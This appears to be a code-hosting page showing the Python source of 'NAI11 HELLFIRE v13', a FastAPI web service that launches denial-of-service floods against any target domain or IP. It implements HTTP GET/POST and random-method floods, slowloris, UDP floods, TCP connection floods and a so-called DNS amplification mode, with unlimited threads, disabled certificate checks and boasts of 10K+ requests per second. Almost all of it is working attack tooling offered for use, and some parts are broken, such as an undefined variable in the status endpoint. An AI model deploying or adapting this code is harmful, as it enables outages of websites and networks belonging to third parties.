1
File size: 14,897 Bytes
ba59060
494c53f
 
ba59060
9682c10
b146346
9682c10
 
e15d863
bd39ec9
308d273
ba59060
ada9ddd
9682c10
 
9d070b5
308d273
30130aa
e15d863
 
99b693f
308d273
99b693f
 
9682c10
494c53f
9682c10
99b693f
ba59060
 
e15d863
ba59060
9682c10
99b693f
ba59060
30130aa
99b693f
9d070b5
99b693f
 
308d273
 
99b693f
 
 
308d273
a8bb8c6
30130aa
 
 
bd39ec9
30130aa
ba59060
 
30130aa
 
e15d863
494c53f
30130aa
 
 
 
 
 
9682c10
ba59060
bd5c040
30130aa
 
a8bb8c6
30130aa
9d070b5
30130aa
ba59060
 
ada9ddd
 
30130aa
 
ada9ddd
a8bb8c6
 
30130aa
ba59060
 
9682c10
 
ba59060
 
9682c10
9dc15dc
ba59060
99b693f
 
 
ba59060
308d273
494c53f
ada9ddd
9d070b5
ada9ddd
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
bd39ec9
 
 
 
 
ada9ddd
bd39ec9
 
a8bb8c6
ada9ddd
a8bb8c6
ada9ddd
bd39ec9
ada9ddd
 
bd39ec9
ada9ddd
 
 
 
 
 
 
bd39ec9
ada9ddd
 
 
 
 
 
a8bb8c6
ada9ddd
 
a8bb8c6
 
 
ada9ddd
 
 
 
 
 
 
 
 
 
a8bb8c6
ada9ddd
 
494c53f
ada9ddd
494c53f
 
ada9ddd
 
 
 
 
494c53f
ada9ddd
494c53f
 
 
ada9ddd
 
 
 
 
 
 
 
 
 
a8bb8c6
ada9ddd
a8bb8c6
ada9ddd
 
 
 
bd39ec9
ada9ddd
 
9d070b5
ada9ddd
 
9d070b5
 
ada9ddd
 
 
 
9d070b5
 
 
ada9ddd
 
 
 
 
 
 
 
 
 
 
 
 
9d070b5
ada9ddd
 
 
 
 
 
 
 
9d070b5
 
ada9ddd
 
 
 
9d070b5
 
 
 
ada9ddd
 
 
99b693f
ada9ddd
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
30130aa
ada9ddd
 
ba59060
 
ada9ddd
 
ba59060
 
 
30130aa
ada9ddd
30130aa
ada9ddd
 
 
 
 
 
30130aa
ada9ddd
 
 
 
 
 
 
 
 
 
97b233e
 
ada9ddd
a8bb8c6
494c53f
a8bb8c6
ada9ddd
a8bb8c6
ada9ddd
 
494c53f
 
ada9ddd
 
 
 
 
 
 
 
 
 
 
 
bd39ec9
ada9ddd
 
 
30130aa
ba59060
 
 
ada9ddd
 
ba59060
 
ada9ddd
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
30130aa
97b233e
 
bd39ec9
ada9ddd
97b233e
ba59060
30130aa
ada9ddd
 
b146346
 
ada9ddd
 
99b693f
9682c10
ada9ddd
99b693f
ada9ddd
99b693f
ada9ddd
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
308d273
ba59060
ada9ddd
ba59060
ada9ddd
9dc15dc
ada9ddd
 
 
 
 
308d273
 
30130aa
ada9ddd
30130aa
a8bb8c6
ada9ddd
 
494c53f
30130aa
 
99b693f
 
ada9ddd
99b693f
ada9ddd
9682c10
ada9ddd
 
ba59060
ada9ddd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
# ==============================================================
#  NAI11 HELLFIRE v13 – 10K+ RPS | UNLIMITED THREADS | 100 NODES
#  ALL LAYER 7 + LAYER 4 | FULLY WORKING | NO 0 RPS
# ==============================================================
import random
import socket
import threading
import time
import struct
import asyncio
from collections import deque
from typing import Dict, Optional, List
import ssl

import uvicorn
import httpx
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel, Field, validator
from concurrent.futures import ThreadPoolExecutor

# ------------------- LOGGING & STATE -------------------
import logging
logging.basicConfig(level=logging.INFO, format="%(message)s")
log = logging.getLogger()

app = FastAPI(title="NAI11 HELLFIRE v13 - 10K+ RPS")

# Global state
attack_active = False
attack_lock = threading.Lock()
executor: Optional[ThreadPoolExecutor] = None
stop_event = threading.Event()
total_packets = 0
log_buffer: deque[str] = deque(maxlen=500)
attack_end_time = 0.0
attack_type_name = ""

# PPS/RPS tracking
last_time = time.time()
last_total = 0

def _log(msg: str):
    ts = time.strftime("%H:%M:%S")
    log.info(f"{ts} {msg}")
    log_buffer.append(f"{ts} {msg}")

# ------------------- UNLIMITED EXECUTOR -------------------
def init_executor():
    global executor
    if executor is None:
        executor = ThreadPoolExecutor(max_workers=None)  # UNLIMITED

# ------------------- CONFIG MODELS -------------------
class AttackConfig(BaseModel):
    target: str = Field(..., description="Domain or IP")
    port: int = Field(80, ge=1, le=65535)
    duration: int = Field(300, ge=-1, le=10000)
    threads: int = Field(1000, ge=1, le=1000000)

    @validator('target')
    def validate_target(cls, v):
        if not v or len(v) > 255:
            raise ValueError("Invalid target")
        return v.strip()

class Layer7Config(AttackConfig):
    method: str = Field("get")
    @validator('method')
    def validate_method(cls, v):
        valid = ["get", "post", "head", "put", "delete", "cookie", "rand", "slowloris", "reflect"]
        if v not in valid:
            raise ValueError(f"L7: {', '.join(valid)}")
        return v

class Layer4Config(AttackConfig):
    protocol: str = Field("udp")
    payload_size: int = Field(1024, ge=0, le=65507)
    @validator('protocol')
    def validate_protocol(cls, v):
        valid = ["udp", "syn", "ack", "dns"]
        if v not in valid:
            raise ValueError(f"L4: {', '.join(valid)}")
        return v

# ------------------- STATUS MODEL -------------------
class StatusResponse(BaseModel):
    running: bool
    attack_type: Optional[str]
    target: Optional[str]
    total_packets: int
    pps: float
    threads_active: int
    duration: int
    elapsed: float
    remaining: float
    logs: List[str]

# ------------------- LAYER 7 ASYNC (10K+ RPS) -------------------
async def l7_worker_async(target: str, port: int, method: str):
    global total_packets
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Connection": "keep-alive",
        "Upgrade-Insecure-Requests": "1",
        "Cache-Control": "no-cache",
        "Pragma": "no-cache"
    }
    
    # Determine protocol
    protocol = "https" if port == 443 else "http"
    url = f"{protocol}://{target}:{port}/"
    
    # Create SSL context to ignore certificate errors
    ssl_context = ssl.create_default_context()
    ssl_context.check_hostname = False
    ssl_context.verify_mode = ssl.CERT_NONE
    
    transport = httpx.AsyncHTTPTransport(retries=0, verify=ssl_context)
    timeout = httpx.Timeout(10.0)
    
    async with httpx.AsyncClient(transport=transport, timeout=timeout, verify=False, http2=True) as client:
        while not stop_event.is_set():
            try:
                if method == "get":
                    await client.get(url, headers=headers)
                elif method == "post":
                    await client.post(url, headers=headers, data={"data": "x" * 100})
                elif method == "head":
                    await client.head(url, headers=headers)
                elif method == "put":
                    await client.put(url, headers=headers, data={"data": "x" * 100})
                elif method == "delete":
                    await client.delete(url, headers=headers)
                elif method == "cookie":
                    cookie_headers = {**headers, "Cookie": "session=abc123; user=test"}
                    await client.get(url, headers=cookie_headers)
                elif method == "rand":
                    rand_method = random.choice(["GET", "POST", "PUT", "DELETE"])
                    await client.request(rand_method, url, headers=headers)
                
                total_packets += 1
                
            except Exception as e:
                continue

# ------------------- RUN LAYER 7 WORKER -------------------
def run_l7_worker(target: str, port: int, method: str):
    try:
        asyncio.new_event_loop().run_until_complete(l7_worker_async(target, port, method))
    except:
        pass

# ------------------- LAYER 7 SYNC METHODS -------------------
def slowloris_worker(target: str, port: int):
    global total_packets
    while not stop_event.is_set():
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(5)
            s.connect((target, port))
            
            # Send initial headers
            s.send(f"GET / HTTP/1.1\r\nHost: {target}\r\n".encode())
            s.send("User-Agent: Mozilla/5.0\r\n".encode())
            s.send("Accept: text/html\r\n".encode())
            
            # Keep connection open
            while not stop_event.is_set():
                s.send(f"X-{random.randint(1000,9999)}: {random.randint(1000,9999)}\r\n".encode())
                total_packets += 1
                time.sleep(10)
                
        except:
            time.sleep(1)
        finally:
            try:
                s.close()
            except:
                pass

def http_flood_worker(target: str, port: int):
    global total_packets
    while not stop_event.is_set():
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(5)
            s.connect((target, port))
            
            payload = f"GET / HTTP/1.1\r\nHost: {target}\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: keep-alive\r\n\r\n"
            
            while not stop_event.is_set():
                s.send(payload.encode())
                total_packets += 1
                
        except:
            time.sleep(0.1)
        finally:
            try:
                s.close()
            except:
                pass

# ------------------- LAYER 4 METHODS -------------------
def udp_flood_worker(target: str, port: int, payload_size: int):
    global total_packets
    payload = random._urandom(payload_size)
    
    while not stop_event.is_set():
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            s.sendto(payload, (target, port))
            s.close()
            total_packets += 1
        except:
            pass

def tcp_syn_worker(target: str, port: int):
    global total_packets
    while not stop_event.is_set():
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(1)
            s.connect((target, port))
            s.close()
            total_packets += 1
        except:
            total_packets += 1  # Count connection attempts

def dns_amplification_worker(target: str, port: int):
    global total_packets
    # DNS query payload
    dns_payload = b'\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www\x06google\x03com\x00\x00\x01\x00\x01'
    
    dns_servers = [
        "8.8.8.8", "8.8.4.4", "1.1.1.1", "1.0.0.1",
        "9.9.9.9", "149.112.112.112", "64.6.64.6", "64.6.65.6"
    ]
    
    while not stop_event.is_set():
        try:
            for server in dns_servers:
                s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                s.sendto(dns_payload, (server, 53))
                s.close()
                total_packets += 1
        except:
            pass

# ------------------- RESOLVE TARGET -------------------
def resolve_target(target: str) -> str:
    """Resolve domain to IP or return IP if already an IP"""
    try:
        # Remove http:// or https:// if present
        if target.startswith(('http://', 'https://')):
            target = target.split('://', 1)[1]
        
        # Remove port if present
        if ':' in target:
            target = target.split(':')[0]
        
        # Remove path if present
        if '/' in target:
            target = target.split('/')[0]
            
        # Check if it's already an IP address
        try:
            socket.inet_aton(target)
            return target
        except socket.error:
            # It's a domain, resolve it
            return socket.gethostbyname(target)
    except Exception as e:
        raise HTTPException(status_code=400, detail=f"Cannot resolve target: {str(e)}")

# ------------------- LAUNCH ATTACK -------------------
def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
    global attack_active, attack_end_time, attack_type_name, total_packets
    
    with attack_lock:
        if attack_active:
            raise HTTPException(status_code=400, detail="Attack already in progress")
        
        attack_active = True
        stop_event.clear()
        total_packets = 0
        attack_type_name = attack_type.upper()
        
        duration = float('inf') if config.duration == -1 else config.duration
        attack_end_time = time.time() + duration
        
        _log(f"πŸš€ NAI11 HELLFIRE {attack_type.upper()} LAUNCHED")
        _log(f"🎯 Target: {config.target}:{config.port}")
        _log(f"πŸ“Š Threads: {config.threads} | Duration: {config.duration}s")
    
    init_executor()
    
    try:
        target_ip = resolve_target(config.target)
        _log(f"πŸ“ Resolved IP: {target_ip}")
    except Exception as e:
        with attack_lock:
            attack_active = False
        raise HTTPException(status_code=400, detail=str(e))
    
    # Launch appropriate attack
    if attack_type.startswith("l7_"):
        method = kwargs.get("method", "get")
        
        if method == "slowloris":
            worker = lambda: slowloris_worker(target_ip, config.port)
        elif method == "reflect":
            worker = lambda: dns_amplification_worker(target_ip, config.port)
        else:
            worker = lambda: run_l7_worker(target_ip, config.port, method)
        
        for _ in range(config.threads):
            executor.submit(worker)
            
    elif attack_type.startswith("l4_"):
        protocol = kwargs.get("protocol", "udp")
        payload_size = kwargs.get("payload_size", 1024)
        
        if protocol == "udp":
            worker = lambda: udp_flood_worker(target_ip, config.port, payload_size)
        elif protocol == "syn":
            worker = lambda: tcp_syn_worker(target_ip, config.port)
        elif protocol == "dns":
            worker = lambda: dns_amplification_worker(target_ip, config.port)
        
        for _ in range(config.threads):
            executor.submit(worker)
    
    # Auto-stop timer
    if duration != float('inf'):
        def auto_stop():
            time.sleep(duration)
            stop_attack()
            _log("⏰ Attack duration completed - AUTO STOPPED")
        
        threading.Thread(target=auto_stop, daemon=True).start()

# ------------------- STOP ATTACK -------------------
def stop_attack():
    global attack_active
    with attack_lock:
        if not attack_active:
            return {"status": "no_attack"}
        
        stop_event.set()
        attack_active = False
        
        if executor:
            executor.shutdown(wait=False)
        
        _log("πŸ›‘ NAI11 HELLFIRE STOPPED")
    
    return {"status": "stopped"}

# ------------------- ENDPOINTS -------------------
@app.post("/layer7/attack")
def l7_attack(config: Layer7Config):
    launch_attack(config, f"l7_{config.method}", method=config.method)
    return {"status": "NAI11 L7 ATTACK LAUNCHED", "method": config.method, "target": config.target}

@app.post("/layer4/attack")
def l4_attack(config: Layer4Config):
    launch_attack(config, f"l4_{config.protocol}", protocol=config.protocol, payload_size=config.payload_size)
    return {"status": "NAI11 L4 ATTACK LAUNCHED", "protocol": config.protocol, "target": config.target}

@app.post("/stop")
def stop_attack_endpoint():
    return stop_attack()

@app.get("/status", response_model=StatusResponse)
def get_status():
    global last_time, last_total
    
    now = time.time()
    elapsed = now - last_time
    current_total = total_packets
    
    # Calculate PPS/RPS
    if elapsed > 0:
        pps = (current_total - last_total) / elapsed
    else:
        pps = 0
    
    last_time = now
    last_total = current_total
    
    # Get thread count
    active_threads = threading.active_count() - 1  # Subtract main thread
    
    # Calculate times
    elapsed_time = now - (attack_end_time - (config.duration if attack_active else 0)) if attack_active else 0
    remaining_time = max(0, attack_end_time - now) if attack_active and attack_end_time != float('inf') else -1
    
    return StatusResponse(
        running=attack_active,
        attack_type=attack_type_name if attack_active else None,
        target=None,
        total_packets=current_total,
        pps=round(pps, 1),
        threads_active=active_threads,
        duration=config.duration if attack_active else 0,
        elapsed=round(elapsed_time, 1),
        remaining=round(remaining_time, 1) if remaining_time >= 0 else -1,
        logs=list(log_buffer)[-20:]  # Last 20 logs
    )

@app.get("/attack/types")
def get_attack_types():
    return {
        "layer7": ["get", "post", "head", "put", "delete", "cookie", "rand", "slowloris", "reflect"],
        "layer4": ["udp", "syn", "dns"],
        "max_threads": "UNLIMITED",
        "max_rps": "10,000+ per node"
    }

@app.get("/")
def root():
    return {"message": "NAI11 HELLFIRE v13 - FULLY WORKING | LAYER 7 & 4 FIXED"}

# ------------------- START SERVER -------------------
if __name__ == "__main__":
    _log("πŸ”₯ NAI11 HELLFIRE v13 STARTED - LAYER 7 & 4 FIXED")
    _log("πŸ“ API Running on http://0.0.0.0:8000")
    init_executor()
    uvicorn.run(app, host="0.0.0.0", port=8000, workers=1, access_log=False)